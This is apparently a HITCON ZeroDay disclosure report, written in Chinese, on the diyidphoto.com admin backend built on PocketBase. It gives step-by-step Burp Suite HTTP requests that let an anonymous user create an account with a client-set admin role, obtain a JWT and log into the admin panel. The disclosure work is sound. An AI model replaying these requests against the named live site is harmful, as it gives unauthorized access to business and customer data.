悟空科技股份有限公司 未授權使用者可匿名建立後台帳號並任意指定 role - HITCON ZeroDay

0. 摘要（Summary）

https://helper.diyidphoto.com/ 使用 PocketBase 作為其後端管理程式，且是 https://diyidphoto.com/zh-tw/ 與 https://jp.diyidphoto.com/ 的後台管理頁面。

然而，任意使用者在未經授權且未具備任何既有後台權限的情況下：

1. 可直接使用 POST /api/pb/api/collections/users/records 匿名建立 PB user 帳號（關於如何知道所需參數，可見多個 API 端點回傳詳細錯誤訊息）。
2. 在建立 PB user 帳號時，若請求中帶入 role 參數與值（例如 "role": ["admin"]），後端會接受該參數並在回應中保留該值。

3. 接著，該帳號可透過：

   • POST /api/pb/api/collections/users/auth-with-password，進行身份驗證並取得該帳號的 JWT。
   • PATCH /api/pb/api/collections/users/record/<Id>，自行更改 role 參數。
4. 有 PB user 帳號後，能連上 https://helper.diyidphoto.com/login 使用相同帳號與密碼登入後台管理頁面（關於如何發現後台管理頁面，可見後台可被公開發現）。

本報告聚焦於 攻擊者如何取得後台登入身份與 role 可由客戶端任意指定，如以下流程圖：

未授權建立 PB user 並指定 role
        ↓
通過身份驗證並取得 JWT
        ↓
通過後台登入流程

登入後台後可存取哪些功能、低權限帳號仍可讀取大量後台資料等問題，會獨立提交為低權限後台帳號可繞過 RBAC，不混在本報告。

另外，值得注意的一點是，這裡建立的 "role": ["admin"] 為後台管理頁面之管理權限。

經測試後確認，該 token 無法存取 PB 原生管理 API，例如：

/api/pb/api/collections
/api/pb/api/settings
/api/pb/api/backups

也無法進行修改其他 PB user 資料等操作，因此並非 PocketBase superuser。

1. 受影響功能（Affected Feature）

• 功能： 建立 PB user 帳號流程與後台管理頁面登入流程

• 受影響後台網域： https://helper.diyidphoto.com/

• 主要受影響端點：

  POST /api/pb/api/collections/users/records
  POST /api/pb/api/collections/users/auth-with-password

• 用以確認不是 PB superuser 的對照端點：

  GET /api/pb/api/collections
  GET /api/pb/api/settings
  GET /api/pb/api/backups

2. 漏洞驗證之前置條件（Preconditions for Verification）

• 需要使用 Burp Suite 等 proxy 工具連線到 helper.diyidphoto.com 特定端點，輸入 email / password 即可重現漏洞。

3. 重現步驟（Steps to Reproduce）與概念驗證（Proof of Concept）

以下重現步驟皆使用 Burp Suite 作為工具。

以下 PoC 僅整理我在實際測試中看到的重點證據。因為 HITCON 提交附件最多只能上傳 10 張圖，所以我只附足以證明主問題成立的必要代表性截圖。其餘我都有保留，若需要可再補充。

步驟 1：建立一個 PB user 帳號

在 Burp Suite 中的 Repeater，對以下端點發送建立帳號請求，並在 request body 中填入 email 與 password，並加入 role 參數：

POST /api/pb/api/collections/users/records HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json

{
  "email": "<Redacted_Email>",
  "password": "<Redacted_Password>",
  "passwordConfirm": "<Redacted_Password>",
  "role": ["admin"]
}

送出請求後，可在回應中查看到新建立的 user record，以及 "role": ["admin"] 被保存。

{
  "avatar": "",
  "collectionId": "_pb_users_auth_",
  "collectionName": "users",
  "created": "<Created_Date_Time>",
  "emailVisibility": false,
  "id": "<Id>",
  "name": "",
  "role": ["admin"],
  "updated": "<Updated_Date_Time>",
  "username": "<Username>",
  "verified": false
}

步驟 2：使用新建立的帳號進行 PB 身份驗證

使用步驟 1 建立的 email 與 password，向以下端點發送請求：

POST /api/pb/api/collections/users/auth-with-password HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json

{
  "identity": "<Redacted_Email>",
  "password": "<Redacted_Password>"
}

送出請求後，可在回應中查看到 record 與 JWT 資料。

{
  "record": {
    "avatar": "",
    "collectionId": "_pb_users_auth_",
    "collectionName": "users",
    "created": "<Created_Date_Time>",
    "email": "<Redacted_Email>",
    "emailVisibility": false,
    "id": "<Id>",
    "name": "",
    "role": ["admin"],
    "updated": "<Updated_Date_Time>",
    "username": "<Username>",
    "verified": false
  },
  "token": "<JWT>"
}

對 JWT 的 header 與 payload 進行 Base64URL 解碼後，可確認其 type 為 authRecord。

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "collectionId": "_pb_users_auth_",
  "exp": <Exp>,
  "id": "<Id>",
  "type": "authRecord"
}

步驟 3：確認該帳號並非 PB superuser

將步驟 2 中取得的 JWT 填入以下端點的 Authorization Header，例如：

GET /api/pb/api/collections HTTP/2
Host: helper.diyidphoto.com
Authorization: Bearer <JWT>

GET /api/pb/api/settings HTTP/2
Host: helper.diyidphoto.com
Authorization: Bearer <JWT>

GET /api/pb/api/backups HTTP/2
Host: helper.diyidphoto.com
Authorization: Bearer <JWT>

送出請求後，可發現以上端點皆會回應 401 Unauthorized。

而回應可見：

{
  "code": 401,
  "message": "The request requires valid admin authorization token to be set.",
  "data": {}
}

因此可確認該 PB user 帳號並非 PB superuser。

步驟 4：使用同一個 PB user 帳號登入後台管理頁面

1. 在 Burp Suite 的瀏覽器連上 https://helper.diyidphoto.com/login，並填入步驟 1 建立的 email / password 登入（或輸入步驟 1 的 username / password 登入）。

2. 登入後，點擊左側管理控制板（admin panel）的任一功能，接著到 Burp Suite 的 Proxy 頁籤中的 HTTP history，查看請求中的 Cookie Header，即可見以下參數：

   uid=<Id>
   access_token=<JWT>
   pb_email=<Redacted_Email>
   pb_username=<Username>
   pb_role=%5B%22admin%22%5D
   active_site=<Site>

這代表該 PB user 帳號可被後台管理頁面接受為有效登入身份。

1. 點擊登出，以便進行接下來的步驟。

步驟 5：自行更改同一個 PB user 帳號的 role 參數

在 Burp Suite 中的 Repeater，對以下端點發送 PATCH 請求。

記得：

• 將步驟 2 中回應的 "id": "<Id>" 填入請求的路徑中。
• JWT 填入 Authorization Header。
• 在 request body 中更新 role 參數。

整體應如以下：

PATCH /api/pb/api/collections/users/records/<Id> HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json
Authorization: Bearer <JWT>

{
  "role": []
}

送出請求後，可在回應中查看到 role 已被更新為 "role": []。

{
  "avatar": "",
  "collectionId": "_pb_users_auth_",
  "collectionName": "users",
  "created": "<Created_Date_Time>",
  "email": "<Redacted_Email>",
  "emailVisibility": false,
  "id": "<Id>",
  "name": "",
  "role": [],
  "updated": "<Updated_Date_Time>",
  "username": "<Username>",
  "verified": false
}

這代表使用者可利用 PATCH 方法，自行變更 role 值。

步驟 6：使用變更過 role 的同一個 PB user 帳號，登入後台管理頁面

1. 在 Burp Suite 的瀏覽器連上 https://helper.diyidphoto.com/login，並填入步驟 1 建立的 email / password 登入（或輸入步驟 1 的 username / password 登入）。
2. 登入後，即可發現左側管理控制板未顯示任何功能，與步驟 4 中 "role": ["admin"] 時的顯示結果不同。
3. 在瀏覽器的網址列輸入 https://helper.diyidphoto.com/shipping 直接進到郵寄管理頁面，接著到 Burp Suite 的 HTTP history，查看請求中的 Cookie Header，即可見以下參數：

   uid=<Id>
   access_token=<JWT>
   pb_email=<Redacted_Email>
   pb_username=<Username>
   pb_role=%5B%5D
   active_site=<Site>

可觀察到 pb_role 參數的值從 %5B%22admin%22%5D 變為 %5B%5D，也就是空陣列 []。

這代表 role 參數的值，可影響到後台左側管理控制板的功能顯示與否，但不足以證明後端明確禁止其存取相關功能；

此問題會在低權限後台帳號可繞過 RBAC中被證實與統整，可能原因則會在後台身份驗證可被繞過中。

本報告聚焦於 如何取得後台登入身份與 role 可由客戶端任意指定。

4. 預期行為（Expected Behavior）

• 後台應有獨立的 staff / operator 身份來源，不應允許未授權使用者建立可用於登入管理後台的帳號。
• role、pb_role、active_site 等授權相關資訊，不應由客戶端自行指定。

5. 實際行為（Actual Behavior）

• 未授權使用者可匿名建立 PB user 帳號，並在建立時指定 "role": ["admin"]，且回應中會回傳該值。
• 未授權建立的 PB user 帳號可透過 auth-with-password 進行身份驗證，並取得該帳號的 JWT 等資訊。
• 未授權建立的 PB user 帳號可登入後台管理頁面，且後台會依據該帳號的 role 值顯示不同的功能。
• 未授權建立的 PB user 並非 PB superuser，無法存取 PB 原生管理 API，也無法修改其他 PB user 資料。

6. 影響（Impact）

此問題使未授權使用者可自行建立後台帳號並指定 role，造成未授權後台存取及應用層提權風險。

7. 可能的根本原因（Likely Root Cause）

問題可能是 PB user 資料與內部後台帳號之間的邊界，並未妥善分離或充分驗證。

可能根本原因包括：

1. 允許未授權使用者建立 PB user 帳號，且未限制客戶端寫入 role 參數，也未驗證其允許值。
2. 後台直接使用 PB user 資料作為登入身份來源，且沒有進行進一步檢查。
3. 後台將 role、pb_role、active_site 等資訊當成授權標準，但這些參數的來源沒有被嚴格檢查與保護。

8. 嚴重性評估（Severity Assessment）

嚴重（Critical）

理由：

• 問題發生在 https://helper.diyidphoto.com/ 後台，其為 https://diyidphoto.com/zh-tw/ 與 https://jp.diyidphoto.com/ 的後台管理頁面。
• 無需授權和既有後台帳號即可建立可登入身份，且 role 等授權參數可由使用者任意指定；而後台依 role 判斷管理控制板上顯示的功能。

• 可串聯多種其它網站漏洞，造成後台資料存取與操作風險，或可觀察特定操作後的變化，例如：

  建立帳號後：

  • 可發現後台有權限漏洞（詳見低權限後台帳號可繞過 RBAC與後台身份驗證可被繞過）。
  • 串聯特定端點存在錯誤訊息差異，可進一步定位是否為公司之後台管理帳號。
  • 後台資料保存情形，進而衍生此類報告（未付款訂單存取控制不一致、台灣站資料保存情形可能與服務條款不一致與日本站資料保存情形可能與常見問題不一致）。
  • 可觀察特定操作後的變化與影響，例如此類報告（測試站未限制存取、跨用途 token 可進入相同解析流程、日本站特定付款方式可被注入外部網域與台灣站與日本站付款流程綁定不足）。

9. 補充說明（Researcher Note）

1. 本報告之測試僅限確認漏洞存在，未進行批次化、大量化或自動化操作，也未進行破壞性操作。

2. 由於此系統與技術牽涉到三家公司－台灣公司為誠和國際股份有限公司（https://www.seiwainc.com.tw/）與悟空科技股份有限公司（https://www.goqoo.com/），日本公司為株式会社喜喜（https://jp.diyidphoto.com/）。就可見資料顯示（https://twincn.com/84108618、https://www.twincn.com/80682392、https://jp.diyidphoto.com/lawOfPayment），三間公司經營者高度相關。但目前無法確定哪間公司統籌系統、技術與網站走向，並且問題可牽涉到跨國站點，因此建議同時聯絡三間公司。

以下是三間公司之相關信箱：

誠和國際：[email protected]
悟空科技：[email protected]
DIY證件照－台灣站（悟空科技）：[email protected]
DIY證件照－日本站（株式会社喜喜）：[email protected]